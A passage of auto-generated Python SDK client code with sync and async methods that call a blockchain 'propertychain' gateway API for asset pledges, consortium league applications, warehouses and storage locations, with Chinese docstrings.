self.repay_assetpledge_ex_async(request, headers, runtime) def repay_assetpledge_ex( self, request: propertychain_models.RepayAssetpledgeRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.RepayAssetpledgeResponse: """ Description: 质押还款 Summary: 质押还款 """ UtilClient.validate_model(request) return propertychain_models.RepayAssetpledgeResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.assetpledge.repay', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def repay_assetpledge_ex_async( self, request: propertychain_models.RepayAssetpledgeRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.RepayAssetpledgeResponse: """ Description: 质押还款 Summary: 质押还款 """ UtilClient.validate_model(request) return propertychain_models.RepayAssetpledgeResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.assetpledge.repay', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def get_league_accountinfo( self, request: propertychain_models.GetLeagueAccountinfoRequest, ) -> propertychain_models.GetLeagueAccountinfoResponse: """ Description: 查询账户信息 Summary: 查询账户信息 """ runtime = util_models.RuntimeOptions() headers = {} return self.get_league_accountinfo_ex(request, headers, runtime) async def get_league_accountinfo_async( self, request: propertychain_models.GetLeagueAccountinfoRequest, ) -> propertychain_models.GetLeagueAccountinfoResponse: """ Description: 查询账户信息 Summary: 查询账户信息 """ runtime = util_models.RuntimeOptions() headers = {} return await self.get_league_accountinfo_ex_async(request, headers, runtime) def get_league_accountinfo_ex( self, request: propertychain_models.GetLeagueAccountinfoRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.GetLeagueAccountinfoResponse: """ Description: 查询账户信息 Summary: 查询账户信息 """ UtilClient.validate_model(request) return propertychain_models.GetLeagueAccountinfoResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.league.accountinfo.get', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def get_league_accountinfo_ex_async( self, request: propertychain_models.GetLeagueAccountinfoRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.GetLeagueAccountinfoResponse: """ Description: 查询账户信息 Summary: 查询账户信息 """ UtilClient.validate_model(request) return propertychain_models.GetLeagueAccountinfoResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.league.accountinfo.get', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def create_warehouse( self, request: propertychain_models.CreateWarehouseRequest, ) -> propertychain_models.CreateWarehouseResponse: """ Description: 登记仓库 Summary: 登记仓库 """ runtime = util_models.RuntimeOptions() headers = {} return self.create_warehouse_ex(request, headers, runtime) async def create_warehouse_async( self, request: propertychain_models.CreateWarehouseRequest, ) -> propertychain_models.CreateWarehouseResponse: """ Description: 登记仓库 Summary: 登记仓库 """ runtime = util_models.RuntimeOptions() headers = {} return await self.create_warehouse_ex_async(request, headers, runtime) def create_warehouse_ex( self, request: propertychain_models.CreateWarehouseRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateWarehouseResponse: """ Description: 登记仓库 Summary: 登记仓库 """ UtilClient.validate_model(request) return propertychain_models.CreateWarehouseResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.warehouse.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def create_warehouse_ex_async( self, request: propertychain_models.CreateWarehouseRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateWarehouseResponse: """ Description: 登记仓库 Summary: 登记仓库 """ UtilClient.validate_model(request) return propertychain_models.CreateWarehouseResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.warehouse.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def list_league_role( self, request: propertychain_models.ListLeagueRoleRequest, ) -> propertychain_models.ListLeagueRoleResponse: """ Description: 例举角色类型 Summary: 例举角色类型 """ runtime = util_models.RuntimeOptions() headers = {} return self.list_league_role_ex(request, headers, runtime) async def list_league_role_async( self, request: propertychain_models.ListLeagueRoleRequest, ) -> propertychain_models.ListLeagueRoleResponse: """ Description: 例举角色类型 Summary: 例举角色类型 """ runtime = util_models.RuntimeOptions() headers = {} return await self.list_league_role_ex_async(request, headers, runtime) def list_league_role_ex( self, request: propertychain_models.ListLeagueRoleRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListLeagueRoleResponse: """ Description: 例举角色类型 Summary: 例举角色类型 """ UtilClient.validate_model(request) return propertychain_models.ListLeagueRoleResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.league.role.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def list_league_role_ex_async( self, request: propertychain_models.ListLeagueRoleRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListLeagueRoleResponse: """ Description: 例举角色类型 Summary: 例举角色类型 """ UtilClient.validate_model(request) return propertychain_models.ListLeagueRoleResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.league.role.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def get_warehouse( self, request: propertychain_models.GetWarehouseRequest, ) -> propertychain_models.GetWarehouseResponse: """ Description: 查询仓库详细信息 Summary: 查询仓库详细信息 """ runtime = util_models.RuntimeOptions() headers = {} return self.get_warehouse_ex(request, headers, runtime) async def get_warehouse_async( self, request: propertychain_models.GetWarehouseRequest, ) -> propertychain_models.GetWarehouseResponse: """ Description: 查询仓库详细信息 Summary: 查询仓库详细信息 """ runtime = util_models.RuntimeOptions() headers = {} return await self.get_warehouse_ex_async(request, headers, runtime) def get_warehouse_ex( self, request: propertychain_models.GetWarehouseRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.GetWarehouseResponse: """ Description: 查询仓库详细信息 Summary: 查询仓库详细信息 """ UtilClient.validate_model(request) return propertychain_models.GetWarehouseResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.warehouse.get', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def get_warehouse_ex_async( self, request: propertychain_models.GetWarehouseRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.GetWarehouseResponse: """ Description: 查询仓库详细信息 Summary: 查询仓库详细信息 """ UtilClient.validate_model(request) return propertychain_models.GetWarehouseResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.warehouse.get', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def update_warehouse( self, request: propertychain_models.UpdateWarehouseRequest, ) -> propertychain_models.UpdateWarehouseResponse: """ Description: 更新库存信息 Summary: 更新库存信息 """ runtime = util_models.RuntimeOptions() headers = {} return self.update_warehouse_ex(request, headers, runtime) async def update_warehouse_async( self, request: propertychain_models.UpdateWarehouseRequest, ) -> propertychain_models.UpdateWarehouseResponse: """ Description: 更新库存信息 Summary: 更新库存信息 """ runtime = util_models.RuntimeOptions() headers = {} return await self.update_warehouse_ex_async(request, headers, runtime) def update_warehouse_ex( self, request: propertychain_models.UpdateWarehouseRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.UpdateWarehouseResponse: """ Description: 更新库存信息 Summary: 更新库存信息 """ UtilClient.validate_model(request) return propertychain_models.UpdateWarehouseResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.warehouse.update', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def update_warehouse_ex_async( self, request: propertychain_models.UpdateWarehouseRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.UpdateWarehouseResponse: """ Description: 更新库存信息 Summary: 更新库存信息 """ UtilClient.validate_model(request) return propertychain_models.UpdateWarehouseResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.warehouse.update', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def list_warehouse( self, request: propertychain_models.ListWarehouseRequest, ) -> propertychain_models.ListWarehouseResponse: """ Description: 列举用户仓库列表 Summary: 列举用户仓库列表 """ runtime = util_models.RuntimeOptions() headers = {} return self.list_warehouse_ex(request, headers, runtime) async def list_warehouse_async( self, request: propertychain_models.ListWarehouseRequest, ) -> propertychain_models.ListWarehouseResponse: """ Description: 列举用户仓库列表 Summary: 列举用户仓库列表 """ runtime = util_models.RuntimeOptions() headers = {} return await self.list_warehouse_ex_async(request, headers, runtime) def list_warehouse_ex( self, request: propertychain_models.ListWarehouseRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListWarehouseResponse: """ Description: 列举用户仓库列表 Summary: 列举用户仓库列表 """ UtilClient.validate_model(request) return propertychain_models.ListWarehouseResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.warehouse.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def list_warehouse_ex_async( self, request: propertychain_models.ListWarehouseRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListWarehouseResponse: """ Description: 列举用户仓库列表 Summary: 列举用户仓库列表 """ UtilClient.validate_model(request) return propertychain_models.ListWarehouseResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.warehouse.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def list_league( self, request: propertychain_models.ListLeagueRequest, ) -> propertychain_models.ListLeagueResponse: """ Description: 例举联盟 Summary: 例举联盟 """ runtime = util_models.RuntimeOptions() headers = {} return self.list_league_ex(request, headers, runtime) async def list_league_async( self, request: propertychain_models.ListLeagueRequest, ) -> propertychain_models.ListLeagueResponse: """ Description: 例举联盟 Summary: 例举联盟 """ runtime = util_models.RuntimeOptions() headers = {} return await self.list_league_ex_async(request, headers, runtime) def list_league_ex( self, request: propertychain_models.ListLeagueRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListLeagueResponse: """ Description: 例举联盟 Summary: 例举联盟 """ UtilClient.validate_model(request) return propertychain_models.ListLeagueResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.league.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def list_league_ex_async( self, request: propertychain_models.ListLeagueRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListLeagueResponse: """ Description: 例举联盟 Summary: 例举联盟 """ UtilClient.validate_model(request) return propertychain_models.ListLeagueResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.league.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def query_warehouse_device( self, request: propertychain_models.QueryWarehouseDeviceRequest, ) -> propertychain_models.QueryWarehouseDeviceResponse: """ Description: 列举某个仓库/仓位下的设备信息 Summary: 列举某个仓库/仓位下的设备信息 """ runtime = util_models.RuntimeOptions() headers = {} return self.query_warehouse_device_ex(request, headers, runtime) async def query_warehouse_device_async( self, request: propertychain_models.QueryWarehouseDeviceRequest, ) -> propertychain_models.QueryWarehouseDeviceResponse: """ Description: 列举某个仓库/仓位下的设备信息 Summary: 列举某个仓库/仓位下的设备信息 """ runtime = util_models.RuntimeOptions() headers = {} return await self.query_warehouse_device_ex_async(request, headers, runtime) def query_warehouse_device_ex( self, request: propertychain_models.QueryWarehouseDeviceRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.QueryWarehouseDeviceResponse: """ Description: 列举某个仓库/仓位下的设备信息 Summary: 列举某个仓库/仓位下的设备信息 """ UtilClient.validate_model(request) return propertychain_models.QueryWarehouseDeviceResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.warehouse.device.query', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def query_warehouse_device_ex_async( self, request: propertychain_models.QueryWarehouseDeviceRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.QueryWarehouseDeviceResponse: """ Description: 列举某个仓库/仓位下的设备信息 Summary: 列举某个仓库/仓位下的设备信息 """ UtilClient.validate_model(request) return propertychain_models.QueryWarehouseDeviceResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.warehouse.device.query', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def create_league_apply( self, request: propertychain_models.CreateLeagueApplyRequest, ) -> propertychain_models.CreateLeagueApplyResponse: """ Description: 创建联盟申请 Summary: 创建联盟申请 """ runtime = util_models.RuntimeOptions() headers = {} return self.create_league_apply_ex(request, headers, runtime) async def create_league_apply_async( self, request: propertychain_models.CreateLeagueApplyRequest, ) -> propertychain_models.CreateLeagueApplyResponse: """ Description: 创建联盟申请 Summary: 创建联盟申请 """ runtime = util_models.RuntimeOptions() headers = {} return await self.create_league_apply_ex_async(request, headers, runtime) def create_league_apply_ex( self, request: propertychain_models.CreateLeagueApplyRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateLeagueApplyResponse: """ Description: 创建联盟申请 Summary: 创建联盟申请 """ UtilClient.validate_model(request) return propertychain_models.CreateLeagueApplyResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.league.apply.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def create_league_apply_ex_async( self, request: propertychain_models.CreateLeagueApplyRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateLeagueApplyResponse: """ Description: 创建联盟申请 Summary: 创建联盟申请 """ UtilClient.validate_model(request) return propertychain_models.CreateLeagueApplyResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.league.apply.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def create_league_joinapply( self, request: propertychain_models.CreateLeagueJoinapplyRequest, ) -> propertychain_models.CreateLeagueJoinapplyResponse: """ Description: 提交入盟申请 Summary: 提交入盟申请 """ runtime = util_models.RuntimeOptions() headers = {} return self.create_league_joinapply_ex(request, headers, runtime) async def create_league_joinapply_async( self, request: propertychain_models.CreateLeagueJoinapplyRequest, ) -> propertychain_models.CreateLeagueJoinapplyResponse: """ Description: 提交入盟申请 Summary: 提交入盟申请 """ runtime = util_models.RuntimeOptions() headers = {} return await self.create_league_joinapply_ex_async(request, headers, runtime) def create_league_joinapply_ex( self, request: propertychain_models.CreateLeagueJoinapplyRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateLeagueJoinapplyResponse: """ Description: 提交入盟申请 Summary: 提交入盟申请 """ UtilClient.validate_model(request) return propertychain_models.CreateLeagueJoinapplyResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.league.joinapply.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def create_league_joinapply_ex_async( self, request: propertychain_models.CreateLeagueJoinapplyRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateLeagueJoinapplyResponse: """ Description: 提交入盟申请 Summary: 提交入盟申请 """ UtilClient.validate_model(request) return propertychain_models.CreateLeagueJoinapplyResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.league.joinapply.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def cancel_league_apply( self, request: propertychain_models.CancelLeagueApplyRequest, ) -> propertychain_models.CancelLeagueApplyResponse: """ Description: 撤销入盟申请 Summary: 撤销入盟申请 """ runtime = util_models.RuntimeOptions() headers = {} return self.cancel_league_apply_ex(request, headers, runtime) async def cancel_league_apply_async( self, request: propertychain_models.CancelLeagueApplyRequest, ) -> propertychain_models.CancelLeagueApplyResponse: """ Description: 撤销入盟申请 Summary: 撤销入盟申请 """ runtime = util_models.RuntimeOptions() headers = {} return await self.cancel_league_apply_ex_async(request, headers, runtime) def cancel_league_apply_ex( self, request: propertychain_models.CancelLeagueApplyRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CancelLeagueApplyResponse: """ Description: 撤销入盟申请 Summary: 撤销入盟申请 """ UtilClient.validate_model(request) return propertychain_models.CancelLeagueApplyResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.league.apply.cancel', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def cancel_league_apply_ex_async( self, request: propertychain_models.CancelLeagueApplyRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CancelLeagueApplyResponse: """ Description: 撤销入盟申请 Summary: 撤销入盟申请 """ UtilClient.validate_model(request) return propertychain_models.CancelLeagueApplyResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.league.apply.cancel', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def query_warehouse_storagelocation( self, request: propertychain_models.QueryWarehouseStoragelocationRequest, ) -> propertychain_models.QueryWarehouseStoragelocationResponse: """ Description: 列举仓库下的库位列表 Summary: 列举仓库下的库位列表 """ runtime = util_models.RuntimeOptions() headers = {} return self.query_warehouse_storagelocation_ex(request, headers, runtime) async def query_warehouse_storagelocation_async( self, request: propertychain_models.QueryWarehouseStoragelocationRequest, ) -> propertychain_models.QueryWarehouseStoragelocationResponse: """ Description: 列举仓库下的库位列表 Summary: 列举仓库下的库位列表 """ runtime = util_models.RuntimeOptions() headers = {} return await self.query_warehouse_storagelocation_ex_async(request, headers, runtime) def query_warehouse_storagelocation_ex( self, request: propertychain_models.QueryWarehouseStoragelocationRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.QueryWarehouseStoragelocationResponse: """ Description: 列举仓库下的库位列表 Summary: 列举仓库下的库位列表 """ UtilClient.validate_model(request) return propertychain_models.QueryWarehouseStoragelocationResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.warehouse.storagelocation.query', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def query_warehouse_storagelocation_ex_async( self, request: propertychain_models.QueryWarehouseStoragelocationRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.QueryWarehouseStoragelocationResponse: """ Description: 列举仓库下的库位列表 Summary: 列举仓库下的库位列表 """ UtilClient.validate_model(request) return propertychain_models.QueryWarehouseStoragelocationResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.warehouse.storagelocation.query', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def auth_league_apply( self, request: propertychain_models.AuthLeagueApplyRequest, ) -> propertychain_models.AuthLeagueApplyResponse: """ Description: 盟主审核入盟申请 Summary: 盟主审核入盟申请 """ runtime = util_models.RuntimeOptions() headers = {} return self.auth_league_apply_ex(request, headers, runtime) async def auth_league_apply_async( self, request: propertychain_models.AuthLeagueApplyRequest, ) -> propertychain_models.AuthLeagueApplyResponse: """ Description: 盟主审核入盟申请 Summary: 盟主审核入盟申请 """ runtime = util_models.RuntimeOptions() headers = {} return await self.auth_league_apply_ex_async(request, headers, runtime) def auth_league_apply_ex( self, request: propertychain_models.AuthLeagueApplyRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.AuthLeagueApplyResponse: """ Description: 盟主审核入盟申请 Summary: 盟主审核入盟申请 """ UtilClient.validate_model(request) return propertychain_models.AuthLeagueApplyResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.league.apply.auth', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def auth_league_apply_ex_async( self, request: propertychain_models.AuthLeagueApplyRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.AuthLeagueApplyResponse: """ Description: 盟主审核入盟申请 Summary: 盟主审核入盟申请 """ UtilClient.validate_model(request) return propertychain_models.AuthLeagueApplyResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.league.apply.auth', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def delete_warehouse( self, request: propertychain_models.DeleteWarehouseRequest, ) -> propertychain_models.DeleteWarehouseResponse: """ Description: 删除仓库 Summary: 删除仓库 """ runtime = util_models.RuntimeOptions() headers = {} return self.delete_warehouse_ex(request, headers, runtime) async def delete_warehouse_async( self, request: propertychain_models.DeleteWarehouseRequest, ) -> propertychain_models.DeleteWarehouseResponse: """ Description: 删除仓库 Summary: 删除仓库 """ runtime = util_models.RuntimeOptions() headers = {} return await self.delete_warehouse_ex_async(request, headers, runtime) def delete_warehouse_ex( self, request: propertychain_models.DeleteWarehouseRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.DeleteWarehouseResponse: """ Description: 删除仓库 Summary: 删除仓库 """ UtilClient.validate_model(request) return propertychain_models.DeleteWarehouseResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.warehouse.delete', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def delete_warehouse_ex_async( self, request: propertychain_models.DeleteWarehouseRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.DeleteWarehouseResponse: """ Description: 删除仓库 Summary: 删除仓库 """ UtilClient.validate_model(request) return propertychain_models.DeleteWarehouseResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.warehouse.delete', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def list_league_apply( self, request: propertychain_models.ListLeagueApplyRequest, ) -> propertychain_models.ListLeagueApplyResponse: """ Description: 例举入盟申请 Summary: 例举入盟申请 """ runtime = util_models.RuntimeOptions() headers = {} return self.list_league_apply_ex(request, headers, runtime) async def list_league_apply_async( self, request: propertychain_models.ListLeagueApplyRequest, ) -> propertychain_models.ListLeagueApplyResponse: """ Description: 例举入盟申请 Summary: 例举入盟申请 """ runtime = util_models.RuntimeOptions() headers = {} return await self.list_league_apply_ex_async(request, headers, runtime) def list_league_apply_ex( self, request: propertychain_models.ListLeagueApplyRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListLeagueApplyResponse: """ Description: 例举入盟申请 Summary: 例举入盟申请 """ UtilClient.validate_model(request) return propertychain_models.ListLeagueApplyResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.league.apply.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def list_league_apply_ex_async( self, request: propertychain_models.ListLeagueApplyRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.ListLeagueApplyResponse: """ Description: 例举入盟申请 Summary: 例举入盟申请 """ UtilClient.validate_model(request) return propertychain_models.ListLeagueApplyResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.league.apply.list', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def create_warehouse_storaglocation( self, request: propertychain_models.CreateWarehouseStoraglocationRequest, ) -> propertychain_models.CreateWarehouseStoraglocationResponse: """ Description: 登记库位信息 Summary: 登记库位信息 """ runtime = util_models.RuntimeOptions() headers = {} return self.create_warehouse_storaglocation_ex(request, headers, runtime) async def create_warehouse_storaglocation_async( self, request: propertychain_models.CreateWarehouseStoraglocationRequest, ) -> propertychain_models.CreateWarehouseStoraglocationResponse: """ Description: 登记库位信息 Summary: 登记库位信息 """ runtime = util_models.RuntimeOptions() headers = {} return await self.create_warehouse_storaglocation_ex_async(request, headers, runtime) def create_warehouse_storaglocation_ex( self, request: propertychain_models.CreateWarehouseStoraglocationRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateWarehouseStoraglocationResponse: """ Description: 登记库位信息 Summary: 登记库位信息 """ UtilClient.validate_model(request) return propertychain_models.CreateWarehouseStoraglocationResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.warehouse.storaglocation.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def create_warehouse_storaglocation_ex_async( self, request: propertychain_models.CreateWarehouseStoraglocationRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.CreateWarehouseStoraglocationResponse: """ Description: 登记库位信息 Summary: 登记库位信息 """ UtilClient.validate_model(request) return propertychain_models.CreateWarehouseStoraglocationResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.warehouse.storaglocation.create', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def get_warehouse_storagelocation( self, request: propertychain_models.GetWarehouseStoragelocationRequest, ) -> propertychain_models.GetWarehouseStoragelocationResponse: """ Description: 查询库位详细信息 Summary: 查询库位详细信息 """ runtime = util_models.RuntimeOptions() headers = {} return self.get_warehouse_storagelocation_ex(request, headers, runtime) async def get_warehouse_storagelocation_async( self, request: propertychain_models.GetWarehouseStoragelocationRequest, ) -> propertychain_models.GetWarehouseStoragelocationResponse: """ Description: 查询库位详细信息 Summary: 查询库位详细信息 """ runtime = util_models.RuntimeOptions() headers = {} return await self.get_warehouse_storagelocation_ex_async(request, headers, runtime) def get_warehouse_storagelocation_ex( self, request: propertychain_models.GetWarehouseStoragelocationRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.GetWarehouseStoragelocationResponse: """ Description: 查询库位详细信息 Summary: 查询库位详细信息 """ UtilClient.validate_model(request) return propertychain_models.GetWarehouseStoragelocationResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.warehouse.storagelocation.get', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def get_warehouse_storagelocation_ex_async( self, request: propertychain_models.GetWarehouseStoragelocationRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.GetWarehouseStoragelocationResponse: """ Description: 查询库位详细信息 Summary: 查询库位详细信息 """ UtilClient.validate_model(request) return propertychain_models.GetWarehouseStoragelocationResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.warehouse.storagelocation.get', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def update_warehouse_storagelocation( self, request: propertychain_models.UpdateWarehouseStoragelocationRequest, ) -> propertychain_models.UpdateWarehouseStoragelocationResponse: """ Description: 更新库位信息 Summary: 更新库位信息 """ runtime = util_models.RuntimeOptions() headers = {} return self.update_warehouse_storagelocation_ex(request, headers, runtime) async def update_warehouse_storagelocation_async( self, request: propertychain_models.UpdateWarehouseStoragelocationRequest, ) -> propertychain_models.UpdateWarehouseStoragelocationResponse: """ Description: 更新库位信息 Summary: 更新库位信息 """ runtime = util_models.RuntimeOptions() headers = {} return await self.update_warehouse_storagelocation_ex_async(request, headers, runtime) def update_warehouse_storagelocation_ex( self, request: propertychain_models.UpdateWarehouseStoragelocationRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.UpdateWarehouseStoragelocationResponse: """ Description: 更新库位信息 Summary: 更新库位信息 """ UtilClient.validate_model(request) return propertychain_models.UpdateWarehouseStoragelocationResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.warehouse.storagelocation.update', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def update_warehouse_storagelocation_ex_async( self, request: propertychain_models.UpdateWarehouseStoragelocationRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.UpdateWarehouseStoragelocationResponse: """ Description: 更新库位信息 Summary: 更新库位信息 """ UtilClient.validate_model(request) return propertychain_models.UpdateWarehouseStoragelocationResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.warehouse.storagelocation.update', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def batchquery_warehouse_storagelocation( self, request: propertychain_models.BatchqueryWarehouseStoragelocationRequest, ) -> propertychain_models.BatchqueryWarehouseStoragelocationResponse: """ Description: 列举用户库位列表 Summary: 列举用户库位列表 """ runtime = util_models.RuntimeOptions() headers = {} return self.batchquery_warehouse_storagelocation_ex(request, headers, runtime) async def batchquery_warehouse_storagelocation_async( self, request: propertychain_models.BatchqueryWarehouseStoragelocationRequest, ) -> propertychain_models.BatchqueryWarehouseStoragelocationResponse: """ Description: 列举用户库位列表 Summary: 列举用户库位列表 """ runtime = util_models.RuntimeOptions() headers = {} return await self.batchquery_warehouse_storagelocation_ex_async(request, headers, runtime) def batchquery_warehouse_storagelocation_ex( self, request: propertychain_models.BatchqueryWarehouseStoragelocationRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.BatchqueryWarehouseStoragelocationResponse: """ Description: 列举用户库位列表 Summary: 列举用户库位列表 """ UtilClient.validate_model(request) return propertychain_models.BatchqueryWarehouseStoragelocationResponse().from_map( self.do_request('1.0', 'blockchain.propertychain.warehouse.storagelocation.batchquery', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) async def batchquery_warehouse_storagelocation_ex_async( self, request: propertychain_models.BatchqueryWarehouseStoragelocationRequest, headers: Dict[str, str], runtime: util_models.RuntimeOptions, ) -> propertychain_models.BatchqueryWarehouseStoragelocationResponse: """ Description: 列举用户库位列表 Summary: 列举用户库位列表 """ UtilClient.validate_model(request) return propertychain_models.BatchqueryWarehouseStoragelocationResponse().from_map( await self.do_request_async('1.0', 'blockchain.propertychain.warehouse.storagelocation.batchquery', 'HTTPS', 'POST', f'/gateway.do', TeaCore.to_map(request), headers, runtime) ) def list_warehouse_storagelocation( self, request: propertychain_models.ListWarehouseStoragelocationRequest, 